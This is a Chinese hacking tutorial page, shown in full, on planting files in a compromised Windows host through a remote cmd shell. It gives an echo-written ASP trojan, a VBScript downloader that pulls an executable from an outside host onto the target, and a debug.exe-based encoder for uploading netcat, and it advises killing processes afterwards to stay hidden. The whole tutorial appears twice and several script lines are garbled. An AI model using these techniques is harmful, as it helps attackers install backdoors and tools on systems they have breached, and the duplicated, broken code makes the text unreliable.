Do All in Cmd Shell一切在命令行下完成第1/6頁
更新時間:2008年06月14日 19:11:23 作者:
Cmd Shell(命令行交互)是黑客永恒的話題,它歷史悠久并且長盛不衰。本文旨在介紹和總結(jié)一些在命令行下控制Windows系統(tǒng)的方法。這些方法都是盡可能地利用系統(tǒng)自帶的工具實現(xiàn)的。
文件傳輸
對于溢出漏洞獲得的cmd shell,最大的問題就是如何上傳文件。由于蠕蟲病毒流行,連接ipc$所需要的139或445端口被路由封鎖。再加上WinXP系統(tǒng)加強(qiáng)了對ipc$的保護(hù),通過ipc$及默認(rèn)共享上傳文件的手段基本無效了。ftp和tftp是兩種可行的方法,介于其已被大家熟知,本文就不介紹了。還有三種大家熟悉的辦法,作為總結(jié)我再提一下:
1,用Echo命令寫ASP木馬。
前提當(dāng)然是目標(biāo)主機(jī)上已經(jīng)安裝了IIS。
一般的ASP木馬"體積"較大,不適合直接用echo命令寫入文件,這里我提供一個小巧的。
直接給出echo版:
@echo ^ >up.asp
注意,只有一行,中間沒有回車符。
生成的up.asp不能用瀏覽器訪問,只能用下面這個腳本:
with wscript
if .arguments.count>dl.vbs
@echo w.open "get",.arguments(0),0:w.send:if w.status^>200 then .echo "Error:"+w.status:.quit>>dl.vbs
@echo aso.type=1:aso.open:aso.write w.responsebody:aso.savetofile .arguments(1),2:end with >>dl.vbs
舉例——下載ps.exe并保存到c:\path下:
cscript dl.vbs http://www.sometips.com/soft/ps.exe c:\path\ps.exe
注意,這是在遠(yuǎn)程shell中執(zhí)行的。
4,Echo經(jīng)過編碼的任何文件,再用腳本+debug還原。
前面兩個辦法都不能保證穿過防火墻。而且,除非自己架Web服務(wù)器,一般的Web資源都是以壓縮文件的形式提供。如果目標(biāo)主機(jī)沒有解壓工具,還是沒轍。那么只有出"殺手锏"了!
echo命令加重定向x作符可以寫入ASCII碼小于128的字符,但大于等于128的不行。只有將本地文件重新"編碼"為可顯示的字符,才能方便地寫入遠(yuǎn)程主機(jī)。首先能想到的就是base64編碼,即email附件的編碼方式。但vbs不支持位x作,因此編碼和解碼較復(fù)雜。更麻煩的是,腳本以二進(jìn)制流方式處理文件的能力很差。(ADODB.Stream可以以流方式寫文件,但我無法構(gòu)造出相應(yīng)的數(shù)據(jù)類型。二進(jìn)制數(shù)據(jù)流可以用midb函數(shù)轉(zhuǎn)成字符串,但反過來不行。我花了兩天時間,還是沒能解決這個問題。如果有誰能用vbs或js寫任意的字節(jié)數(shù)據(jù)到文件中,懇請賜教。)
無奈只有請debug.exe出馬了。原理很多人都知道,我不介紹了,直接給出成果——編碼腳本:
fp=wscript.arguments(0)
fn=right(fp,len(fp)-instrrev(fp,"\"))
with createobject("adodb.stream")
.type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str)
end with
sll=sl mod 65536:slh=sl\65536
with createobject("scripting.filesystemobject").opentextfile(fp&".bat",2,true)
.write "@echo str="""
for i=1 to sl
bt=ascb(midb(str,i,1))
if bt>debug.vbs"+vbcrlf+"@echo +"""
next
.writeline """>>debug.vbs"+vbcrlf+"@echo with wscript.stdout:r=vbcrlf"_
+":for i=1 to len(str) step 48:.write ""e""+hex(256+(i-1)/2)"_
+":for j=i to i+46 step 2:.write "" ""+mid(str,j,2):next:.write r:next>>debug.vbs"
.writeline "@echo .write ""rbx""+r+"""+hex(slh)+"""+r+""rcx""+r+"""+hex(sll)_
+"""+r+""n debug.tmp""+r+""w""+r+""q""+r:end with"_
+">>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp """&fn&"""&del debug.vbs"
end with
將其保存為echo.vbs。假設(shè)要上傳nc.exe,那么在本地命令行輸入命令:
cscript echo.vbs nc.exe
也可以直接把要傳輸?shù)奈募膱D標(biāo)拖放到腳本文件的圖標(biāo)上。
稍等一會兒,在當(dāng)前目錄下將生成一個nc.exe.bat。用記事本等編輯工具打開它,可以看到如下內(nèi)容:
@echo str="4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000"_>>debug.vbs
@echo +"504500004C010400B98EAE340000000000000000E0000F010B010500009800000062000000000000004C00000010000000B0000000004000001000000002000004000000000000000400000000000000003001000004000000000000030000000000100000100000000010000010000000000000100000000000000000000000"_>>debug.vbs
@echo +"002001003C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000A0210100640100000000000000000000000000000000000000000000000000002E74657874000000"_>>debug.vbs
@echo +"70970000001000000098000000040000000000000000000000000000200000602E726461746100001704000000B0000000060000009C0000000000000000000000000000400000402E646174610000004452000000C00000003E000000A20000000000000000000000000000400000C02E696461746100005C07000000200100"_>>debug.vbs
…………
…………(省略若干行)
…………
@echo +"">>debug.vbs
@echo with wscript.stdout:r=vbcrlf:for i=1 to len(str) step 48:.write "e"+hex(256+(i-1)/2):for j=i to i+46 step 2:.write " "+mid(str,j,2):next:.write r:next>>debug.vbs
@echo .write "rbx"+r+"0"+r+"rcx"+r+"E800"+r+"n debug.tmp"+r+"w"+r+"q"+r:end with>>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp "NC.EXE"&del debug.vbs
全選 -》 復(fù)制 -》 切換到遠(yuǎn)程命令行窗口 -》 粘貼。
如果網(wǎng)速不是很慢的話,整個上傳過程大約需要20秒。
幾點(diǎn)說明:
1,大的文件傳輸不穩(wěn)定,可能會使shell死掉。所以文件越小效果越好。建議原文件不要超過100KB。
2,在傳輸大文件前,可以先傳個小的文件作為"熱身",讓16位虛擬機(jī)ntvdm.exe駐留后臺。所有文件傳完后,為隱蔽起見,應(yīng)該把ntvdm進(jìn)程殺掉。
3,某些cmd shell每個命令都需要附加兩個回車,那nc.exe.bat就不能直接用了。
4,單個命令的長度是有限的,所以不能只用一個echo完成全部任務(wù)。而且,對于nc提供的cmd shell,稍長一些的命令竟然會使shell自動退出(溢出了?)。你可以修改"i mod 128=0"語句中的128以調(diào)整每個echo命令的長度。每次echo的字符為這個數(shù)乘以2。
5,解碼過程沒有腳本參與也是可以的。使用腳本的目的是減少傳輸?shù)臄?shù)據(jù)量(因為壓縮了數(shù)據(jù))。如果有時間,我會寫一個更完善的腳本,加強(qiáng)數(shù)據(jù)壓縮能力,增加數(shù)據(jù)校驗功能。
能上傳文件當(dāng)然一切都好辦了,但很多x作用Windows自帶的工具更方便。在你到處尋找需要的工具時,不要忘了Windows本身。
對于溢出漏洞獲得的cmd shell,最大的問題就是如何上傳文件。由于蠕蟲病毒流行,連接ipc$所需要的139或445端口被路由封鎖。再加上WinXP系統(tǒng)加強(qiáng)了對ipc$的保護(hù),通過ipc$及默認(rèn)共享上傳文件的手段基本無效了。ftp和tftp是兩種可行的方法,介于其已被大家熟知,本文就不介紹了。還有三種大家熟悉的辦法,作為總結(jié)我再提一下:
1,用Echo命令寫ASP木馬。
前提當(dāng)然是目標(biāo)主機(jī)上已經(jīng)安裝了IIS。
一般的ASP木馬"體積"較大,不適合直接用echo命令寫入文件,這里我提供一個小巧的。
直接給出echo版:
@echo ^ >up.asp
注意,只有一行,中間沒有回車符。
生成的up.asp不能用瀏覽器訪問,只能用下面這個腳本:
with wscript
if .arguments.count>dl.vbs
@echo w.open "get",.arguments(0),0:w.send:if w.status^>200 then .echo "Error:"+w.status:.quit>>dl.vbs
@echo aso.type=1:aso.open:aso.write w.responsebody:aso.savetofile .arguments(1),2:end with >>dl.vbs
舉例——下載ps.exe并保存到c:\path下:
cscript dl.vbs http://www.sometips.com/soft/ps.exe c:\path\ps.exe
注意,這是在遠(yuǎn)程shell中執(zhí)行的。
4,Echo經(jīng)過編碼的任何文件,再用腳本+debug還原。
前面兩個辦法都不能保證穿過防火墻。而且,除非自己架Web服務(wù)器,一般的Web資源都是以壓縮文件的形式提供。如果目標(biāo)主機(jī)沒有解壓工具,還是沒轍。那么只有出"殺手锏"了!
echo命令加重定向x作符可以寫入ASCII碼小于128的字符,但大于等于128的不行。只有將本地文件重新"編碼"為可顯示的字符,才能方便地寫入遠(yuǎn)程主機(jī)。首先能想到的就是base64編碼,即email附件的編碼方式。但vbs不支持位x作,因此編碼和解碼較復(fù)雜。更麻煩的是,腳本以二進(jìn)制流方式處理文件的能力很差。(ADODB.Stream可以以流方式寫文件,但我無法構(gòu)造出相應(yīng)的數(shù)據(jù)類型。二進(jìn)制數(shù)據(jù)流可以用midb函數(shù)轉(zhuǎn)成字符串,但反過來不行。我花了兩天時間,還是沒能解決這個問題。如果有誰能用vbs或js寫任意的字節(jié)數(shù)據(jù)到文件中,懇請賜教。)
無奈只有請debug.exe出馬了。原理很多人都知道,我不介紹了,直接給出成果——編碼腳本:
fp=wscript.arguments(0)
fn=right(fp,len(fp)-instrrev(fp,"\"))
with createobject("adodb.stream")
.type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str)
end with
sll=sl mod 65536:slh=sl\65536
with createobject("scripting.filesystemobject").opentextfile(fp&".bat",2,true)
.write "@echo str="""
for i=1 to sl
bt=ascb(midb(str,i,1))
if bt>debug.vbs"+vbcrlf+"@echo +"""
next
.writeline """>>debug.vbs"+vbcrlf+"@echo with wscript.stdout:r=vbcrlf"_
+":for i=1 to len(str) step 48:.write ""e""+hex(256+(i-1)/2)"_
+":for j=i to i+46 step 2:.write "" ""+mid(str,j,2):next:.write r:next>>debug.vbs"
.writeline "@echo .write ""rbx""+r+"""+hex(slh)+"""+r+""rcx""+r+"""+hex(sll)_
+"""+r+""n debug.tmp""+r+""w""+r+""q""+r:end with"_
+">>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp """&fn&"""&del debug.vbs"
end with
將其保存為echo.vbs。假設(shè)要上傳nc.exe,那么在本地命令行輸入命令:
cscript echo.vbs nc.exe
也可以直接把要傳輸?shù)奈募膱D標(biāo)拖放到腳本文件的圖標(biāo)上。
稍等一會兒,在當(dāng)前目錄下將生成一個nc.exe.bat。用記事本等編輯工具打開它,可以看到如下內(nèi)容:
@echo str="4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000"_>>debug.vbs
@echo +"504500004C010400B98EAE340000000000000000E0000F010B010500009800000062000000000000004C00000010000000B0000000004000001000000002000004000000000000000400000000000000003001000004000000000000030000000000100000100000000010000010000000000000100000000000000000000000"_>>debug.vbs
@echo +"002001003C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000A0210100640100000000000000000000000000000000000000000000000000002E74657874000000"_>>debug.vbs
@echo +"70970000001000000098000000040000000000000000000000000000200000602E726461746100001704000000B0000000060000009C0000000000000000000000000000400000402E646174610000004452000000C00000003E000000A20000000000000000000000000000400000C02E696461746100005C07000000200100"_>>debug.vbs
…………
…………(省略若干行)
…………
@echo +"">>debug.vbs
@echo with wscript.stdout:r=vbcrlf:for i=1 to len(str) step 48:.write "e"+hex(256+(i-1)/2):for j=i to i+46 step 2:.write " "+mid(str,j,2):next:.write r:next>>debug.vbs
@echo .write "rbx"+r+"0"+r+"rcx"+r+"E800"+r+"n debug.tmp"+r+"w"+r+"q"+r:end with>>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp "NC.EXE"&del debug.vbs
全選 -》 復(fù)制 -》 切換到遠(yuǎn)程命令行窗口 -》 粘貼。
如果網(wǎng)速不是很慢的話,整個上傳過程大約需要20秒。
幾點(diǎn)說明:
1,大的文件傳輸不穩(wěn)定,可能會使shell死掉。所以文件越小效果越好。建議原文件不要超過100KB。
2,在傳輸大文件前,可以先傳個小的文件作為"熱身",讓16位虛擬機(jī)ntvdm.exe駐留后臺。所有文件傳完后,為隱蔽起見,應(yīng)該把ntvdm進(jìn)程殺掉。
3,某些cmd shell每個命令都需要附加兩個回車,那nc.exe.bat就不能直接用了。
4,單個命令的長度是有限的,所以不能只用一個echo完成全部任務(wù)。而且,對于nc提供的cmd shell,稍長一些的命令竟然會使shell自動退出(溢出了?)。你可以修改"i mod 128=0"語句中的128以調(diào)整每個echo命令的長度。每次echo的字符為這個數(shù)乘以2。
5,解碼過程沒有腳本參與也是可以的。使用腳本的目的是減少傳輸?shù)臄?shù)據(jù)量(因為壓縮了數(shù)據(jù))。如果有時間,我會寫一個更完善的腳本,加強(qiáng)數(shù)據(jù)壓縮能力,增加數(shù)據(jù)校驗功能。
能上傳文件當(dāng)然一切都好辦了,但很多x作用Windows自帶的工具更方便。在你到處尋找需要的工具時,不要忘了Windows本身。
您可能感興趣的文章:
- 在Shell命令行處理JSON數(shù)據(jù)的方法
- shell學(xué)習(xí)教程獲取命令行參數(shù)示例
- 神奇的shell命令行輸入與輸出功能介紹
- Linux命令行和shell腳本編程寶典 Richard Blum
- PHP 命令行工具 shell_exec, exec, passthru, system詳細(xì)使用介紹
- 命令行下一種新的添加帳號的方法(Shell.Users)
- 利用WScript.Shell對象隱藏cmd命令行運(yùn)行框的實現(xiàn)代碼
- 關(guān)閉網(wǎng)站的wscript.shell命令行執(zhí)行
- 利用shell編程實現(xiàn)DOS風(fēng)格的Linux命令行
- shell獲取命令行參數(shù)示例分享
相關(guān)文章
批處理實現(xiàn)的結(jié)束進(jìn)程并刪除文件的代碼
批處理實現(xiàn)的結(jié)束進(jìn)程并刪除文件的代碼,挺有創(chuàng)意的,需要的朋友可以參考下。2009-12-12Attrib 顯示、設(shè)置或刪除指派給文件或目錄的只讀、存檔、系統(tǒng)以及隱藏屬性
Attrib 顯示、設(shè)置或刪除指派給文件或目錄的只讀、存檔、系統(tǒng)以及隱藏屬性...2007-09-09批處理 實現(xiàn)定時關(guān)機(jī)、注銷、重啟、鎖定等功能
一個可以實現(xiàn)電腦定時關(guān)機(jī)、注銷、重啟、鎖定等功能的腳本代碼,打擊可以看下好多功能是利用了系統(tǒng)的一些命令。大家可以自由的擴(kuò)展。2009-07-07使用shutdown命令實現(xiàn)遠(yuǎn)程關(guān)機(jī)和重啟
這篇文章主要介紹了使用shutdown命令實現(xiàn)遠(yuǎn)程關(guān)機(jī)和重啟,需要的朋友可以參考下2015-09-09sqlserver數(shù)據(jù)庫服務(wù)啟動關(guān)閉的批處理
用批處理實現(xiàn)sqlserver服務(wù)的開啟與關(guān)閉,下面的代碼,如果您的sqlserver運(yùn)行的服務(wù)較多的情況下,是不能實現(xiàn),需要加更多的代碼。2011-03-03